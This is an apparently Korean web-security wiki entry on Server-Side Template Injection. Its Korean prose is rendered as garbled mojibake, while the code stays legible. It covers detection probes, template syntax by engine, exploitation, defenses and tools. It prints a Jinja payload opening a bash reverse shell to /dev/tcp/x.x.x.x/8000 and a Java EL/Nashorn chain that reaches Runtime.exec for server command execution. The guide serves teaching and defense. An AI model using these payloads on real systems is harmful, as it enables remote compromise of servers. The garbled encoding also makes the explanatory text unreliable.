๐ Introduction
SSTI(Server-Side Template Injection)์ ๊ณต๊ฒฉ์๊ฐ Template ์ฝ๋๋ฅผ ๊ธฐ์กด template์ include ์์ผ์ ์ํ๋ ์ก์ ์ ์ํํ๋๋ก ํ๋ ๊ณต๊ฒฉ์ ๋๋ค. ์ด ๋ template injection์ด ๋ฐ์ํ๋ ์์น๊ฐ server-side์ธ ๊ฒฝ์ฐ SSTI๋ผ๊ณ ๋ถ๋ฆ ๋๋ค.
SSTI๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ Server-Side์ ๋ ๋๋ง์ ๊ด์ฌํ ์ ์๊ธฐ ๋๋ฌธ์ ๋จ์ํ๊ฒ๋ Client-Side์ ์ทจ์ฝ์ ๋ค(XSS,CSRF ๋ฑ) ๋ฟ๋ง ์๋๋ผ Server-Side์ ์ทจ์ฝ์ ๋ค(RCE,SSRF)๋ก๋ ์ฐ๊ฒฐํ ์ ์์ด์ ๋ฆฌ์คํฌ๊ฐ ๋์ต๋๋ค.
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
๐ก Offensive techniques
Detect
Server-Side Template Engine์ ์ธ์ด, ํ๋ ์์ํฌ ๋ฑ์ ๋ฐ๋ผ ๊ต์ฅํ ์ข ๋ฅ๊ฐ ๋ง์ต๋๋ค. ์ด์ ๋ฐ๋ผ์ Template ๋ฌธ๋ฒ์ด ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ๋ฐฑ์๋ ์์คํ ์ ๋ํ ์ ๋ณด๊ฐ ์๋ค๋ฉด ์ฌ๋ฌ ๊ฐ์ง Template ๋ฌธ๋ฒ์ ์ฝ์ ํ์ฌ Return ๋๋ ๊ฒฐ๊ณผ๋ฅผ ์ฒดํฌํด์ผ ํฉ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ์ซ์ ๊ณ์ฐ์ ํตํด ์ฒดํฌํ๋ ํํ๋ฅผ ๋ง์ด ์ฌ์ฉํฉ๋๋ค.
GET /test?q=abcd${412*343}efgh HTTP/1.1
๋ฏธ์ทจ์ฝ
abcd${412*343}efgh
์ทจ์ฝ
abcd141316efgh
๋ค๋ง ์ผ์ด์ค๊ฐ ๊ต์ฅํ ๋ง๊ธฐ ๋๋ฌธ์ ๋ณดํต Ployglot payload๋ Fuzzing์ ํตํด ํ ์คํธํฉ๋๋ค. Template ๋ฌธ๋ฒ ๋ณ ์ธ์ด ํจํด์ ์๋์ ๊ฐ์ต๋๋ค.
@( )
- ASP.NET Razor
#{ }
- Expression Language
- Freemarker
- Ruby (Slim)
- Jade
- Codepen
${ }
- Expression Language (+JavaEL)
- Freemarker
- Java
{{ }}
- Java
- Jinja
- Jinjava
- Pebble
- Twig
- Handlebars
[[ ]]
- Jinja2
{1+2}
- Smarty
<%= %> or <% %>
- Ruby (ERB)
- Mako
#
- Velocity (e.g: #set)
@
- Lessjs (css ๋ฌธ๋ฒ์ผ๋ก ๋๋ถ๋ถ ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค. e.g: @import / @plugin)
์ด์ธ์๋ ์ฌ๊ธฐ ๋์ด๋์ง ์์ Template engine์์ ์ฌ์ฉํ๋ ๋ฌธ๋ฒ์ด ์กด์ฌํ ์ ์๊ธฐ ๋๋ฌธ์ ์๋์ ๊ฐ์ด Template ์ผ๋ก ์ฌ์ฉ๋ ์ ์๋ expression ๋ค์ ํ ์คํธํด๋ณด์๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.
{var} ${var} {{var}} <%var%> [% var %]
Exploitation
Payloads
SSTI๋ Server-Side Rendering์ ๊ด์ฌํ ์ ์๊ธฐ ๋๋ฌธ์ Server-Side ๊ธฐ๋ฐ์ Exploiting ๊ณผ์ ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ณดํธ์ ์ผ๋ก RCE(Code Execution), SSRF, ๊ทธ๋ฆฌ๊ณ ์์คํ ํ์ผ์ ์ฝ๋ ํํ๋ก Payload๋ฅผ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
ํ์ด๋ก๋ ์ข ๋ฅ๋ ์๋ ๋ง๊ณ ์ถ๊ฐ/๋ณ๋๋๋ ๊ฒฝ์ฐ๋ ์์ด์ ์ ๊ฐ ๊ด๋ฆฌํ๋ ๊ฒ๋ณด๋จ ์๋ ๋งํฌ๋ค์ ์ฐธ๊ณ ํ์๋๊ฒ ์ข์ ๊ฒ ๊ฐ์ต๋๋ค.
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
๊ทธ๋ฆฌ๊ณ ์ด๋ฌํ ๋ถ๋ถ์ Injection ํฌ์ธํธ๋ฅผ ์ฐพ์๋ค๋ฉด ๋๊ตฌ๋ค์ ์ด์ฉํด์ ํ ์คํธํ์๋ ๊ฒ์ ์ถ์ฒ๋๋ ค์. (SQLi ๊ฐ์ด ํ ์คํธ๋ฅผ ์ํด์ ์ฟผ๋ฆฌ๊ฐ ๋ง์ด ํ์ํ๊ธฐ ๋๋ฌธ์ด์ฃ )
SSTI to RCE
SSTI์ ์ฑ๊ณตํ๋ค๊ณ ๋ชจ๋ RCE๊ฐ ๊ฐ๋ฅํ ๊ฒ์ ์๋๋๋ค. ํด๋น Application ์์ ์ฌ์ฉํ ์ ์๋ Object ๋ฐ๋ผ์, ๋๋ ๋ณดํธ ๋ก์ง์ด ์๋ ๊ฒฝ์ฐ ์ผ๋ฐ์ ์ผ๋ก ์๋ ค์ง ์ฝ๋๋ฅผ ์คํํ ์ ์๊ธฐ ๋๋ฌธ์ SSTI๋ฅผ ํ์งํ๋ค๋ฉด Exploit ํ๊ธฐ ์ํ ์ถ๊ฐ ํ ์คํ ๊ณผ์ ์ด ํ์ํฉ๋๋ค.
๊ฐ๋จํ ๋ฐฉ๋ฒ์ผ๋ก ๋ฐ๋ณต์ ์ผ๋ก ์์ฒญ์ ๋ณด๋ด๋ณด๋ฉด์ Template ๋ฌธ๋ฒ์ด ์ฒ๋ฆฌ๋๋ Object๋ฅผ ์ฐพ๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ณต๊ฒฉ์ฝ๋๋ฅผ ๋ง๋๋ ํํ๋ก RCE๊น์ง ๋ฐ์ ์ํฌ ์ ์์ต๋๋ค. getClass
forName
๊ณผ Array ๋ฑ์ ์ด์ฉํ์ฌ ์ฌ์ฉ ๊ฐ๋ฅํ Object๋ฅผ ํ์ํฉ๋๋ค.
์๋ฅผ๋ค์ด nashorn ์์ง์ ์ธ ์ ์๋์ง ์ฒดํฌํ๋ ค๋ฉด ์๋์ ๊ฐ์ด ์์ฐจ์ ์ผ๋ก ํ์ฅํ๋ฉด์ ํ์ฉ ๊ฐ๋ฅํ ๋ถ๋ถ์ด ์ด๋๊น์ง์ธ์ง ์ฒดํฌํ๋ฉด ๋ฉ๋๋ค.
${4*4}
${''.getClass()}
${''.getClass().forName('javax.script.ScriptEngineManager')}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance()}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')}
๊ฐ๊ฐ ์ฝ๋์ ๋ฐ๋ฅธ object๋ function, class ๋ฑ์ด ๋ฆฌํด๋๋ฉฐ ๋ง์ง๋ง ๋ผ์ธ๊น์ง ํ์ธํ๋ฉด ์๋์ ๊ฐ์ด NashornScriptEngine์ ์ธ ์ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
jdk.nashorn.api.scripting.NashornScriptEngine@d314a00
์ด์ ์ด๋ฅผ ๊ธฐ๋ฐ(nashorn ๋ฌธ๋ฒ)์ผ๋ก ์ฝ๋๋ฅผ ์์ฑํ๋ฉด SSTI๋ฅผ ํตํด ์๋ฒ์์ ๋ช ๋ น์ ์คํํ ์ ์์ต๋๋ค.
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}
๐ก Defensive techniques
SSTI๋ ๋๋ค์ Injection ๊ณต๊ฒฉ๊ณผ ๋์ผํ๊ฒ Sanitization, Sandboxing, Input validation์ ๋ค์ค์ผ๋ก ์ ์ฉํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ ํํ์ ๋์๋ฐฉ์์ด๊ณ ์ด๋ ค์ด ๊ฒฝ์ฐ ํ๊ฐ์ง์ ๋์์ ๊ผผ๊ผผํ๊ฒ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ผ๋ก ์ํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค. ๋ํ Injection ๊ณํต ์ฒ๋ฆฌ ์ Input Type์ ๋ช ์(e.g page ํ๋ผ๋ฏธํฐ๋ int ๊ฐ๋ง ๋ฐ๋๋ก ์ฒ๋ฆฌ)ํ๋ ํํ์ ๊ฐ์ด ๋ฑ ํ์ํ ๋ชฉ์ ์ ๋ฐ์ดํฐ๋ง ์ฌ์ฉ๋ ์ ์๋๋ก ์ ํํ๋ ํํ๋ ์ข์ ๋์๋ฐฉ์ ์ค ํ๋์ ๋๋ค. (์๋ ๋ด์ฉ ์ค Logic-less์ ํด๋น)
Logic-Less
Template์ ์ฌ์ฉ ์ Logic์ ๋ํ ์ฒ๋ฆฌ๊ฐ ํ์ํ์ง ์๋๋ค๋ฉด Logic-less template ์ฌ์ฉ์ผ๋ก ์ฝ๊ฒ SSTI๋ฅผ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ๋ํ์ ์ผ๋ก Jekyll์์ ์ฌ์ฉ๋๋ Liquid๋ Handlebars, Mustache ๋ฑ์ด ์์ต๋๋ค.
Sanitization
์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก ๋ถํฐ Template์ ์์ฑํ์ง ์๋๋ก ์ฒ๋ฆฌํด์ผํฉ๋๋ค. ์ฌ์ฉ์ ์ ๋ ฅ์ด ํ์ํ ๊ฒฝ์ฐ Template ์์ฒด์์ ์ ๊ณตํ๋ Parameter๋ฅผ ํตํด ๋ฐ์ ์ฒ๋ฆฌํ๋๋ก ๊ตฌ์ฑํ์ฌ Template ์์ฒด์ ์ํฅ์ ์ค ์ ์๋๋ก ์ ํํด์ผ ํฉ๋๋ค.
Input Validation
๋ง์ง๋ง์ผ๋ก ์ฌ์ฉ์ ์ ๋ ฅ์์ { } [ ] ๊ณผ ๊ฐ์ ํน์๋ฌธ์ ์์ฒด๋ฅผ ๋ฐ์ง ๋ชปํ๋๋ก Escape ์ฒ๋ฆฌํ๋ ๋ก์ง์ ์ ์ฉํ์ฌ ๋์ํ ์ ์์ต๋๋ค. ์ด๋ ์ผ๋ถ XSS, SQLi์์ ๋์ํ๋ ๋ฐฉ์๊ณผ ๋์ผํฉ๋๋ค.
{ }
[ ]
< >
%
#
@
๋ฑ
Sandboxing
์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ๊ธฐ๋ฐ์ผ๋ก Template์ ์์ฑํ๊ณ ๋ ๋๋งํด์ผ ํ๋ ๊ฒฝ์ฐ ์ด์ฉ ์ ์์ด ์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก Template์ ์ฒ๋ฆฌํ ์ ๋ฐ์ ์์ต๋๋ค. ์ด ๋ ์ฌ์ฉ์ ์ ๋ ฅ์ผ๋ก ๋ถํฐ ๋ฐ๋ Template์ Sandboxing ํ์ฌ ๊ณต๊ฒฉ์ฝ๋๊ฐ ์ค์ ๋ก ์ํฅ์ ๋ผ์น ์ ์๋๋ก ์ ํํ๋ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋์ํ ์ ์์ต๋๋ค.
๋ค๋ง Sandboxing์ ๊ฒฝ์ฐ ์ฐํํ ์ฌ์ง๊ฐ ์ถฉ๋ถํ ์๊ธฐ ๋๋ฌธ์ ๊ฐ๊ธ์ ๋จ๋ ์ผ๋ก ์ฌ์ฉํ๋ ๊ฒ ๋ณด๋จ ์ 2๊ฐ์ ํผ์ฉํ์ฌ ์ฌ์ฉํ๋ ๊ฒ์ ์ถ์ฒ๋๋ฆฝ๋๋ค.
๐น Tools
- https://github.com/epinna/tplmap
- backslash scanner in Burpsuite
- ActiveScan Alpha Rule in ZAP #SSTI
- ActiveScan Alpha Rule in ZAP #SSTI-Blind
- Active rule 90025 in ZAP
- SSTI-BAV in dalfox
๐ Articles
- https://www.hahwul.com/2018/08/25/spel-injection-springboot-rce/
- https://www.hahwul.com/2020/06/15/email-exploiting-technic/#payloads
- https://www.hahwul.com/cullinan/el-injection/
- https://www.hahwul.com/cullinan/ognl-injection/
๐ References
- https://portswigger.net/web-security/server-side-template-injection
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
- https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt